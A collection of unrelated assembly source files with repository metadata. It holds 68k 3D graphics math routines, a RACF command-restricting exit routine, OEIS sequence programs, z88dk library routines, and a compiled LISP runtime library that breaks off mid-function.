move.b #$44,color
.tri:
move.w tri_p0+r3_x(a6),d0
move.w tri_p0+r3_y(a6),d1
move.w tri_p1+r3_x(a6),d2
move.w tri_p1+r3_y(a6),d3
movea.l a5,a0
jsr line
move.w tri_p1+r3_x(a6),d0
move.w tri_p1+r3_y(a6),d1
move.w tri_p2+r3_x(a6),d2
move.w tri_p2+r3_y(a6),d3
movea.l a5,a0
jsr line
move.w tri_p2+r3_x(a6),d0
move.w tri_p2+r3_y(a6),d1
move.w tri_p0+r3_x(a6),d2
move.w tri_p0+r3_y(a6),d3
movea.l a5,a0
jsr line
adda.l #tri_size,a6
cmpa.l a3,a6
bne .tri
rts
einline
inline
; multiply a 3d vector by a 3d row-major matrix:
; | v0, v1, v2 | * | x0, x1, x2 |
; | y0, y1, y2 |
; | z0, z1, z2 |
; input vector elements are fx16, matrix elements are in the range [-1, 1]
; in format fx2.14; product elements are in format fx16.14 (bits [31-30]
; replicate the sign)
; d0.w: v0
; d1.w: v1
; d2.w: v2
; a0: matrix ptr
; returns:
; a1: rv0 as fx16.14 (bits [31-30] replicate the sign)
; a2: rv1 as fx16.14 (bits [31-30] replicate the sign)
; a3: rv2 as fx16.14 (bits [31-30] replicate the sign)
; clobbers: d3-d5
mul_vec3_mat:
move.w d0,d3
move.w d0,d4
move.w d0,d5
muls.w (a0)+,d3
muls.w (a0)+,d4
muls.w (a0)+,d5
movea.l d3,a1
movea.l d4,a2
movea.l d5,a3
move.w d1,d3
move.w d1,d4
move.w d1,d5
muls.w (a0)+,d3
muls.w (a0)+,d4
muls.w (a0)+,d5
adda.l d3,a1
adda.l d4,a2
adda.l d5,a3
move.w d2,d3
move.w d2,d4
move.w d2,d5
muls.w (a0)+,d3
muls.w (a0)+,d4
muls.w (a0)+,d5
adda.l d3,a1
adda.l d4,a2
adda.l d5,a3
rts
einline
inline
; multiply a 3d vector by a 3d row-major matrix and translate:
; | v0, v1, v2 | * | x0, x1, x2 | + | t0, t1, t2 |
; | y0, y1, y2 |
; | z0, z1, z2 |
; input vector elements are fx16, matrix elements are in the range [-1, 1]
; in format fx2.14; product elements are in format fx16.14 (bits [31-30]
; replicate the sign)
; d0.w: v0
; d1.w: v1
; d2.w: v2
; a0: matrix ptr
; a1: t0 as fx16.14 (bits [31-30] replicate the sign)
; a2: t1 as fx16.14 (bits [31-30] replicate the sign)
; a3: t2 as fx16.14 (bits [31-30] replicate the sign)
; returns:
; a1: rv0 as fx16.14 (bits [31-30] replicate the sign)
; a2: rv1 as fx16.14 (bits [31-30] replicate the sign)
; a3: rv2 as fx16.14 (bits [31-30] replicate the sign)
; clobbers: d3-d5
mul_vec3_mat_tr:
move.w d0,d3
move.w d0,d4
move.w d0,d5
muls.w (a0)+,d3
muls.w (a0)+,d4
muls.w (a0)+,d5
adda.l d3,a1
adda.l d4,a2
adda.l d5,a3
move.w d1,d3
move.w d1,d4
move.w d1,d5
muls.w (a0)+,d3
muls.w (a0)+,d4
muls.w (a0)+,d5
adda.l d3,a1
adda.l d4,a2
adda.l d5,a3
move.w d2,d3
move.w d2,d4
move.w d2,d5
muls.w (a0)+,d3
muls.w (a0)+,d4
muls.w (a0)+,d5
adda.l d3,a1
adda.l d4,a2
adda.l d5,a3
rts
einline
inline
; multiply by sine
; d0.w: multiplicand
; d1.w: angle ticks -- [0, 2pi) -> [0, 256)
; returns: d0.l: sine product as fx16.15 (d0[31] replicates sign)
mc68020
mul_sin15:
and.w #$ff,d1
cmpi.b #$80,d1
bcs .sign_done
neg.w d0
subi.b #$80,d1
.sign_done:
cmpi.b #$40,d1
bcs .fetch
bne .not_maximum
swap d0
move.w #0,d0
asr.l #1,d0
rts
.not_maximum:
subi.b #$80,d1
neg.b d1
.fetch:
muls.w sinLUT15(d1.w*2),d0
rts
einline
; multiply by cosine
; d0.w: multiplicand
; d1.w: angle ticks -- [0, 2pi) -> [0, 256)
; returns; d0.l: cosine product as fx16.15 (d0[31] replicates sign)
mc68000
mul_cos15:
addi.w #$40,d1
bra mul_sin15
inline
; multiply by sine
; d0.w: multiplicand
; d1.w: angle ticks -- [0, 2pi) -> [0, 256)
; returns: d0.l: sine product as fx16.14 (d0[31-30] replicate sign)
mc68020
mul_sin14:
and.w #$ff,d1
cmpi.b #$80,d1
bcs .sign_done
neg.w d0
subi.b #$80,d1
.sign_done:
cmpi.b #$40,d1
bcs .fetch
bne .not_maximum
swap d0
move.w #0,d0
asr.l #2,d0
rts
.not_maximum:
subi.b #$80,d1
neg.b d1
.fetch:
muls.w sinLUT14(d1.w*2),d0
rts
einline
; multiply by cosine
; d0.w: multiplicand
; d1.w: angle ticks -- [0, 2pi) -> [0, 256)
; returns; d0.l: cosine product as fx16.14 (d0[31-30] replicate sign)
mc68000
mul_cos14:
addi.w #$40,d1
bra mul_sin14
inline
; get sine
; d0.w: angle ticks -- [0, 2pi) -> [0, 256)
; d6.w: constant 14
; a6: sinLUT14 ptr
; returns: d0.w: sine as fx2.14
mc68020
lut_sin14:
and.w #$ff,d0
cmpi.b #$80,d0
bcs .positive
subi.b #$80,d0 ; rotate back to positive
cmpi.b #$40,d0
bcs .fetch_negative
bne .nonextrem_negative
moveq #-1,d0
asl.w d6,d0
rts
.nonextrem_negative:
subi.b #$80,d0
neg.b d0
.fetch_negative:
move.w (a6,d0.w*2),d0
neg.w d0
rts
.positive:
cmpi.b #$40,d0
bcs .fetch_positive
bne .nonextrem_positive
moveq #1,d0
asl.w d6,d0
rts
.nonextrem_positive:
subi.b #$80,d0
neg.b d0
.fetch_positive:
move.w (a6,d0.w*2),d0
rts
einline
; get cosine
; d0.w: angle ticks -- [0, 2pi) -> [0, 256)
; d6.w: constant 14
; a6: sinLUT14 ptr
; returns; d0.w: cosine as fx2.14
mc68000
lut_cos14:
addi.w #$40,d0
bra lut_sin14
include "util.inc"
include "line.inc"
pattern: ; fb clear pattern
dc.l '0123', '4567', '89ab', 'cdef'
dcb.l 4, $42434243
angle: ; current angle
dc.w 0
roto: ; rotation matrix
ds.w 9
ds.w 9
frame_i: ; frame index
dc.w 0
color: ; primitive color
ds.b 1
align 4
sinLUT15:
include "sinLUT15_64.inc"
sinLUT14:
include "sinLUT14_64.inc"
tri_obj_0:
dc.w 0, -29, 0
dc.w 25, 14, 0
dc.w -25, 14, 0
tri_scr_0:
ds.w (tri_scr_0-tri_obj_0)/2
| 17.048214
| 74
| 0.653713
|
944b3b8b2527dccd6fb73aa64d06431a73b1f470
| 8,612
|
asm
|
Assembly
|
Assembler/RACFCMDS.asm
|
MinionSas/Mainframe
|
45939fdcba368bfb5092ad9d588e1f66df523887
|
[
"Apache-2.0"
] | null | null | null |
Assembler/RACFCMDS.asm
|
MinionSas/Mainframe
|
45939fdcba368bfb5092ad9d588e1f66df523887
|
[
"Apache-2.0"
] | null | null | null |
Assembler/RACFCMDS.asm
|
MinionSas/Mainframe
|
45939fdcba368bfb5092ad9d588e1f66df523887
|
[
"Apache-2.0"
] | null | null | null |
RACFCMDS TITLE 'RACFCMDS - IRREVX01 EXIT ROUTINE'
***********************************************************************
***********************************************************************
*** ***
*** MODULE - RACFCMDS ***
*** ***
*** An IRREVX01 command exit routine ***
*** ***
*** This exit is invoked with most RACF commands. The only ***
*** commands which don't use this exit are BLKUPD, RVARY, ***
*** RACDCERT, RACMAP, RACLINK, RACPRIV. ***
*** ***
*** For all other commands, only specific users will be ***
*** allowed to enter those commands. ***
*** ***
*** Users with SPECIAL attribute are allowed to issue all ***
*** RACF commands. Users with AUDITOR attribute will be ***
*** allowed to enter READ only commands. All other users ***
*** are not allowed to issue any RACF commands. ***
*** ***
*** REQUIREMENTS: ***
*** 1. The exit routine must be added to the IRREVX01 exit ***
*** point via OS/390(MVS) Dynamic Exit Services. For ***
*** the routine to take effect at IPL time, have an ***
*** entry in the PROGxx member of SYS1.PARMLIB, as ***
*** pointed to by PROG= in the IEASYSxx member of ***
*** SYS1.PARMLIB. See OS/390(MVS) Initialization and ***
*** Tuning Reference for details. ***
*** ***
*** EXAMPLE: ***
*** In the PROGxx member: ***
*** EXIT ADD ***
*** EXITNAME(IRREVX01) ***
*** MODNAME(RACFCMDS) ***
*** STATE(ACTIVE) ***
*** Or from the console: ***
*** SETPROG EXIT,ADD,EXITNAME=IRREVX01,MODNAME=RACFCMDS ***
*** ***
*** RETURN CODES: ***
*** 0 - If user is allowed. ***
*** 8 - If user is rejected. ***
*** ***
***********************************************************************
***********************************************************************
EJECT
SPACE 2
***********************************************************************
***********************************************************************
*** ***
*** MAPPING MACROS MACRO LIBRARY ***
*** -------------- ------------- ***
*** IRREVXP SYS1.MODGEN ***
*** IHAACEE SYS1.MACLIB ***
*** IHASDWA SYS1.MACLIB ***
*** ***
*** LOAD MODULE NAME SYSTEM LIBRARY ***
*** ---------------- -------------- ***
*** RACFCMDS (RENT,REFR) LINKLIB concatenation ***
*** AMODE(31) RMODE(ANY) ***
*** ***
***********************************************************************
***********************************************************************
EJECT
RACFCMDS CSECT , an IRREVX01 exit routine
RACFCMDS AMODE 31
RACFCMDS RMODE ANY
RACFCMDS CSECT
SAVE (14,12),,RACFCMDS-&SYSDATE-&SYSTIME
LR R12,R15 program addressability
USING RACFCMDS,R12 set base register
LR R10,R1 save parameter address
USING EVXPL,R10 base parameter map
USING ACEE,R3 temporarily R3 bases ACEE
SR R7,R7 initialize return code register
*
* check if ACEE addr available(i.e. not from RACF parameter library)
*
L R3,EVXACEE load ACEE address
LTR R3,R3 Do we have an ACEE?
BNZ PRECHCK yes - continue checking
B RETURN quick return
*
*
* check if this is a pre-exit invocation
*
PRECHCK L R4,EVXFLAGS
TM 0(R4),EVXPRE pre-exit ?
BNO RETURN No - post-processing, then exit
*
*
* check for SPECIAL , PRIVILEGED, and AUDITOR attributes
*
SPECCHCK TM ACEEFLG1,ACEESPEC Is this a special user?
BO RETURN yes - no more checking done
TM ACEEFLG1,ACEEPRIV Privileged?
BO RETURN yes - no more checking done
*
* Get user's ID and verify if it's in user table
*
XR R8,R8
LA R8,AUTHNAME
AUTHLOOP CLI 0(R8),X'FF' END OF AUTHNAME TABLE?
BE AUDITCHK YES, GET OUT
CLC 0(8,R8),ACEEUSRI IS THIS USER IN THE TABLE
BE RETURN YES, GO DO THE REST
LA R8,8(,R8) INCREMENT TO NEXT ENTRY
B AUTHLOOP LOOP UNTIL DONE
*
* Check for auditor
*
AUDITCHK TM ACEEFLG1,ACEEAUDT Auditor?
BO COMMCHCK yes - check the command used
TM ACEEFLG1,ACEEROA Read-Only Auditor?
BO COMMCHCK yes - check the command used
B BADRC no - user not allowed
*
*
* if the command specified is one of the following, do nothing
*
* LISTDSD, LISTGRP, LISTUSER, RLIST, SEARCH
*
COMMCHCK L R5,EVXCALLR
TM 0(R5),EVXSETRO Is this SETROPTS?
BO RETURN yes - no more checking, exit
TM 0(R5),EVXPERMI Is this PERMIT?
BO BADRC yes - exit with bad RC
TM 0(R5),EVXLISTD Is this LISTDSD?
BO RETURN yes - no more checking, exit
TM 0(R5),EVXLISTG Is this LISTGRP?
BO RETURN yes - no more checking, exit
TM 0(R5),EVXLISTU Is this LISTUSER?
BO RETURN yes - no more checking, exit
TM 0(R5),EVXRLIST Is this RLIST?
BO RETURN yes - no more checking, exit
TM 0(R5),EVXSEARC Is this SEARCH?
BO RETURN yes - no more checking, exit
*
*
* Bad return code 8. User cannot issue the command.
*
BADRC L R6,EVXMSSG load address of additional text
MVC MSGINFO+5(8),ACEEUSRI get user id
MVC 0(MSGINFOL,R6),MSGINFO copy the text in
LA R7,8
*
*
* return back
*
RETURN EQU *
WTO 'IRREXV01 Exit has been entered.',ROUTCDE=(11)
LR R15,R7 copy return code
RETURN (14,12),T,RC=(15)
EJECT
*
*
* List of special users who can issue commands
*
AUTHNAME DS 0CL8
DC CL8'USERID1 '
DC CL8'USERID2 '
AUTHNEND DC 8XL1'FF'
*
* Output message information
*
MSGINFO DC C'User is not allowed to issue the command.'
MSGINFOL EQU *-MSGINFO
LTORG
*
*
* equates
*
R0 EQU 0
R1 EQU 1
R2 EQU 2
R3 EQU 3
R4 EQU 4
R5 EQU 5
R6 EQU 6
R7 EQU 7
R8 EQU 8
R9 EQU 9
R10 EQU 10
R11 EQU 11
R12 EQU 12
R13 EQU 13
R14 EQU 14
R15 EQU 15
*
*
* mappings
*
IRREVXP
EJECT
IHAACEE
EJECT
ICHRUTKN
EJECT
IHASDWA
END RACFCMDS
| 43.06
| 71
| 0.374013
|
d9ff98e955ddf0f9aca6ed8aa48dc540ce51b74a
| 356
|
asm
|
Assembly
|
programs/oeis/136/A136480.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/136/A136480.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/136/A136480.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A136480: Number of trailing equal digits in binary representation of n.
; 1,1,1,2,2,1,1,3,3,1,1,2,2,1,1,4,4,1,1,2,2,1,1,3,3,1,1,2,2,1,1,5,5,1,1,2,2,1,1,3,3,1,1,2,2,1,1,4,4,1,1,2,2,1,1,3,3,1,1,2,2,1,1,6,6,1,1,2,2,1,1,3,3,1,1,2,2,1,1,4,4,1,1,2,2,1,1,3,3,1,1,2,2,1,1,5,5,1,1,2
add $0,1
bin $0,2
mov $1,7
lpb $0
dif $0,2
add $1,1
lpe
sub $1,6
mov $0,$1
| 27.384615
| 201
| 0.564607
|
2a4f789f1522e1baee6410566bc8f0bab29bd398
| 859
|
asm
|
Assembly
|
oeis/142/A142506.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/142/A142506.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/142/A142506.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A142506: Primes congruent to 49 mod 51.
; Submitted by Jamie Morken(s4)
; 151,457,661,967,1069,1171,1579,1783,1987,2089,2293,2803,3109,3313,3517,3823,4027,4129,4231,4639,5557,5659,6067,6271,6373,6577,6679,6781,6883,7393,7699,8209,8311,8719,8821,8923,9127,9433,9739,10453,10657,10861,11677,11779,12289,12391,12697,12799,13003,13309,13411,13513,13921,14431,14533,14737,15349,15451,15859,16063,16267,16369,16573,16879,16981,17389,17491,18307,18919,19429,19531,20143,20347,20551,20857,20959,21061,21163,21673,23203,23509,23917,24019,24121,24223,24631,24733,25243,25447,26161
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,24
sub $2,1
mov $3,$1
add $1,1
mul $4,2
mul $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,26
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,53
| 33.038462
| 498
| 0.718277
|
34ba141f77fd0a7c193e994ca2468c6ed3513efe
| 687
|
asm
|
Assembly
|
libsrc/stdlib/ldiv.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | 1
|
2018-09-04T23:07:24.000Z
|
2018-09-04T23:07:24.000Z
|
libsrc/stdlib/ldiv.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
libsrc/stdlib/ldiv.asm
|
dex4er/deb-z88dk
|
9ee4f23444fa6f6043462332a1bff7ae20a8504b
|
[
"ClArtistic"
] | null | null | null |
; void ldiv(ldiv_t *d, long num, long denom)
; 12.2006 aralbrec
; CALLER linkage for function pointers
XLIB ldiv
LIB l_long_div
.ldiv
; setup for l_long_div: dehl = denom, stack = num
pop af
ex af,af ; af' = return address
pop hl
pop de
call l_long_div ; dehl = q, de'hl' = r
ex de,hl
ex (sp),hl ; hl = ldiv_t *
ld (hl),e
inc hl
ld (hl),d
inc hl
pop de
ld (hl),e
inc hl
ld (hl),d
inc hl
push hl
exx
ex de,hl
ex (sp),hl
ld (hl),e
inc hl
ld (hl),d
inc hl
pop de
ld (hl),e
inc hl
ld (hl),d
ld hl,-6
add hl,sp
ld sp,hl
ex af,af
push af
ret
| 14.934783
| 52
| 0.518195
|
c4c4b36dbf96596d512d8440ef048509329e6f39
| 1,150
|
asm
|
Assembly
|
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/strarraycpy.asm
|
gb-archive/really-old-stuff
|
ffb39a518cad47e23353b3420b88e2f3521fd3d7
|
[
"Apache-2.0"
] | 10
|
2016-10-27T20:46:02.000Z
|
2021-11-01T15:49:13.000Z
|
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/strarraycpy.asm
|
gb-archive/really-old-stuff
|
ffb39a518cad47e23353b3420b88e2f3521fd3d7
|
[
"Apache-2.0"
] | null | null | null |
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/strarraycpy.asm
|
gb-archive/really-old-stuff
|
ffb39a518cad47e23353b3420b88e2f3521fd3d7
|
[
"Apache-2.0"
] | 2
|
2015-03-11T14:28:08.000Z
|
2017-11-02T10:57:57.000Z
|
; (K)opyleft - by Jose M. Rodriguez de la Rosa (a.k.a. Boriel)
; 2009 - This is Free OpenSource BSD code
; vim: et:ts=4:sw=4
; Copies a vector of strings from one place to another
; reallocating strings of the destiny vector to hold source strings.
; This is used in the following code:
; DIM a$(20) : DIM b$(20): a$ = b$
#include once <lddede.asm>
#include once <strcpy.asm>
STR_ARRAYCOPY:
; Copies an array of string a$ = b$
; Parameters in the stack:
; a$, b$, num. of elements;
pop hl ; ret address
pop bc ; num of elements
pop de ; source array + offset to the 1st elem.
ex (sp), hl ; Calle -> hl = destiny array + offset to the 1st elem.
; FASTCALL ENTRY
; HL = a$ + offset
; DE = b$ + offset
; BC = Number of elements
__STR_ARRAYCOPY:
PROC
LOCAL LOOP
LOOP:
ld a, b
or c
ret z ; Done!
dec bc
push bc
push de
ld a,(hl)
inc hl
ld c,(hl)
dec hl
push hl
ld h, c
ld l, a
call __LOAD_DE_DE
call __STRASSIGN
ex de, hl
pop hl
ld (hl), e
inc hl
ld (hl), d
inc hl
pop de
pop bc
inc de
inc de
jp LOOP
ENDP
| 17.164179
| 71
| 0.594783
|
d64783a31a49c1465a30a86a4f5d2b634eea71cb
| 16,076
|
asm
|
Assembly
|
lib/lisp_lib.asm
|
CaspianA1/RasmLISP
|
86e2452173afd15ed9f5ad8b20259ab9fc9f6c02
|
[
"Apache-2.0"
] | 10
|
2020-11-15T16:20:51.000Z
|
2021-11-16T13:38:01.000Z
|
lib/lisp_lib.asm
|
CaspianA1/RasmLISP
|
86e2452173afd15ed9f5ad8b20259ab9fc9f6c02
|
[
"Apache-2.0"
] | 2
|
2020-11-16T19:57:11.000Z
|
2020-11-16T21:42:08.000Z
|
lib/lisp_lib.asm
|
CaspianA1/RasmLISP
|
86e2452173afd15ed9f5ad8b20259ab9fc9f6c02
|
[
"Apache-2.0"
] | null | null | null |
.text
.global MAX_NUM # external symbol for proper linkage
.global nil # external symbol for proper linkage
.global KEY_UP # external symbol for proper linkage
.global KEY_DOWN # external symbol for proper linkage
.global KEY_LEFT # external symbol for proper linkage
.global KEY_RIGHT # external symbol for proper linkage
.global KEY_ENTER # external symbol for proper linkage
.global null? # external symbol for proper linkage
.global atom? # external symbol for proper linkage
.global list? # external symbol for proper linkage
.global lat? # external symbol for proper linkage
.global map # external symbol for proper linkage
.global filter # external symbol for proper linkage
.global reduce # external symbol for proper linkage
.global display_list # external symbol for proper linkage
.global length # external symbol for proper linkage
.global index # external symbol for proper linkage
.global choice # external symbol for proper linkage
.global sum # external symbol for proper linkage
.global max # external symbol for proper linkage
.global reverse # external symbol for proper linkage
.global append # external symbol for proper linkage
.global flatten # external symbol for proper linkage
.global display # external symbol for proper linkage
null?:
push rbp
mov rbp, rsp
push [nil + rip] # push global variable
push [rbp + 16] # push argument to eq?
call eq?
mov rsp, rbp
pop rbp
ret
atom?:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
push rax # result of null?
call bool_not
add rsp, 8 # discard 1 local argument
push rax # result of not
push [MAX_NUM + rip] # push global variable
push [rbp + 16] # push argument to <=
call smaller_eq
add rsp, 16 # discard 2 local arguments
push rax # result of <=
call bool_and
mov rsp, rbp
pop rbp
ret
list?:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to atom?
call atom?
add rsp, 8 # discard 1 local argument
push rax # result of atom?
call bool_not
mov rsp, rbp
pop rbp
ret
lat?:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_1 # true branch
jmp false_2 # false branch
true_1:
mov rax, 1
jmp end_3
false_2:
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call list?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_4 # true branch
jmp false_5 # false branch
true_4:
mov rax, 0
jmp end_6
false_5:
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call lat?
add rsp, 8 # discard 1 local argument
jmp end_6
end_6:
jmp end_3
end_3:
mov rsp, rbp
pop rbp
ret
map:
push rbp
mov rbp, rsp
push [rbp + 24] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_7 # true branch
jmp false_8 # false branch
true_7:
mov rax, [rbp + 24]
jmp end_9
false_8:
push [rbp + 24] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
push [rbp + 16] # push argument to map
call map
add rsp, 16 # discard 2 local arguments
push rax # result of map
push [rbp + 24] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
mov rsi, [rbp + 16]
call rsi
add rsp, 8 # discard 1 local argument
push rax # result of [rbp + 16]
call cons
add rsp, 16 # discard 2 local arguments
jmp end_9
end_9:
mov rsp, rbp
pop rbp
ret
filter:
push rbp
mov rbp, rsp
push [rbp + 24] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_10 # true branch
jmp false_11 # false branch
true_10:
mov rax, [rbp + 24]
jmp end_12
false_11:
push [rbp + 24] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
mov rsi, [rbp + 16]
call rsi
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_13 # true branch
jmp false_14 # false branch
true_13:
push [rbp + 24] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
push [rbp + 16] # push argument to filter
call filter
add rsp, 16 # discard 2 local arguments
push rax # result of filter
push [rbp + 24] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call cons
add rsp, 16 # discard 2 local arguments
jmp end_15
false_14:
push [rbp + 24] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
push [rbp + 16] # push argument to filter
call filter
add rsp, 16 # discard 2 local arguments
jmp end_15
end_15:
jmp end_12
end_12:
mov rsp, rbp
pop rbp
ret
reduce:
push rbp
mov rbp, rsp
push [rbp + 24] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_16 # true branch
jmp false_17 # false branch
true_16:
mov rax, [rbp + 32]
jmp end_18
false_17:
push [rbp + 32] # push argument to reduce
push [rbp + 24] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
push [rbp + 16] # push argument to reduce
call reduce
add rsp, 24 # discard 3 local arguments
push rax # result of reduce
push [rbp + 24] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
mov rsi, [rbp + 16]
call rsi
add rsp, 16 # discard 2 local arguments
jmp end_18
end_18:
mov rsp, rbp
pop rbp
ret
_display_list:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_19 # true branch
jmp false_20 # false branch
true_19:
push '' # push argument to display_char
call display_char
add rsp, 8 # discard 1 local argument
push ')' # push argument to display_char
call display_char
add rsp, 8 # discard 1 local argument
mov rax, 0
jmp end_21
false_20:
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call list?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_22 # true branch
jmp false_23 # false branch
true_22:
push '(' # push argument to display_char
call display_char
add rsp, 8 # discard 1 local argument
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call _display_list
add rsp, 8 # discard 1 local argument
push rax # result of _display_list
jmp end_24
false_23:
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call display_num
add rsp, 8 # discard 1 local argument
jmp end_24
end_24:
push ' ' # push argument to display_char
call display_char
add rsp, 8 # discard 1 local argument
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call _display_list
add rsp, 8 # discard 1 local argument
push rax # result of _display_list
jmp end_21
end_21:
mov rsp, rbp
pop rbp
ret
display_list:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_25 # true branch
jmp false_26 # false branch
true_25:
push '(' # push argument to display_char
call display_char
add rsp, 8 # discard 1 local argument
push ')' # push argument to display_char
call display_char
add rsp, 8 # discard 1 local argument
push rax # result of display_char
jmp end_27
false_26:
push '(' # push argument to display_char
call display_char
add rsp, 8 # discard 1 local argument
push [rbp + 16] # push argument to _display_list
call _display_list
add rsp, 8 # discard 1 local argument
push rax # result of _display_list
jmp end_27
end_27:
mov rsp, rbp
pop rbp
ret
_length:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_28 # true branch
jmp false_29 # false branch
true_28:
mov rax, [rbp + 24]
jmp end_30
false_29:
push [rbp + 24] # push argument to add1
call add1
add rsp, 8 # discard 1 local argument
push rax # result of add1
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call _length
add rsp, 16 # discard 2 local arguments
jmp end_30
end_30:
mov rsp, rbp
pop rbp
ret
length:
push rbp
mov rbp, rsp
push 0 # push argument to _length
push [rbp + 16] # push argument to _length
call _length
mov rsp, rbp
pop rbp
ret
index:
push rbp
mov rbp, rsp
push 0 # push argument to eq?
push [rbp + 24] # push argument to eq?
call eq?
add rsp, 16 # discard 2 local arguments
cmp rax, 1 # is true?
je true_31 # true branch
jmp false_32 # false branch
true_31:
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
jmp end_33
false_32:
push [rbp + 24] # push argument to sub1
call sub1
add rsp, 8 # discard 1 local argument
push rax # result of sub1
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call index
add rsp, 16 # discard 2 local arguments
jmp end_33
end_33:
mov rsp, rbp
pop rbp
ret
choice:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to length
call length
add rsp, 8 # discard 1 local argument
push rax # result of length
call sub1
add rsp, 8 # discard 1 local argument
push rax # result of sub1
push 0 # push argument to rand_bounded
call rand_bounded
add rsp, 16 # discard 2 local arguments
push rax # result of rand_bounded
push [rbp + 16] # push argument to index
call index
mov rsp, rbp
pop rbp
ret
_sum:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_34 # true branch
jmp false_35 # false branch
true_34:
mov rax, [rbp + 24]
jmp end_36
false_35:
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
push [rbp + 24] # push argument to +
call plus
add rsp, 16 # discard 2 local arguments
push rax # result of +
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call _sum
add rsp, 16 # discard 2 local arguments
jmp end_36
end_36:
mov rsp, rbp
pop rbp
ret
sum:
push rbp
mov rbp, rsp
push 0 # push argument to _sum
push [rbp + 16] # push argument to _sum
call _sum
mov rsp, rbp
pop rbp
ret
_max:
push rbp
mov rbp, rsp
push [rbp + 16] # push argument to null?
call null?
add rsp, 8 # discard 1 local argument
cmp rax, 1 # is true?
je true_37 # true branch
jmp false_38 # false branch
true_37:
mov rax, [rbp + 24]
jmp end_39
false_38:
push [rbp + 24] # push argument to >
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
call greater
add rsp, 16 # discard 2 local arguments
cmp rax, 1 # is true?
je true_40 # true branch
jmp false_41 # false branch
true_40:
push [rbp + 16] # push argument to car
call car
add rsp, 8 # discard 1 local argument
push rax # result of car
push [rbp + 16] # push argument to cdr
call cdr
add rsp, 8 # discard 1 local argument
push rax # result of cdr
call _max
